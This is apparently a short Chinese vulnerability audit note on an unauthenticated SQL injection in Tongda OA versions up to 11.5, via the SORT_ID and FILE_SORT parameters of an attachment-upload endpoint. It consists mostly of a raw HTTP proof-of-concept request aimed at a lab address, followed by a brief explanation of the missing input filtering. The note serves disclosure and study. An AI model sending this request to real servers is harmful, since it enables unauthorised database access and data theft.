通达OA<=11.5版本SQL注入——附件上传

SQL注入 POC(11.5版本无需登录)

漏洞参数：SORT_ID，FILE_SORT

审计版本：通达OA 11.5

POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/
Connection: close
Host: 192.168.202.1
Content-Length: 391
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"

2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"

------------GFioQpMK0vv2--

漏洞文件：webroot\general\file_folder\swfupload_new.php 。 先看SORT_ID与FILE_SORT参数，这两个参数都 是通过$data[""]; 来接收变量，都直接带入SQL查询语句中，没有做任何过滤，造成注入。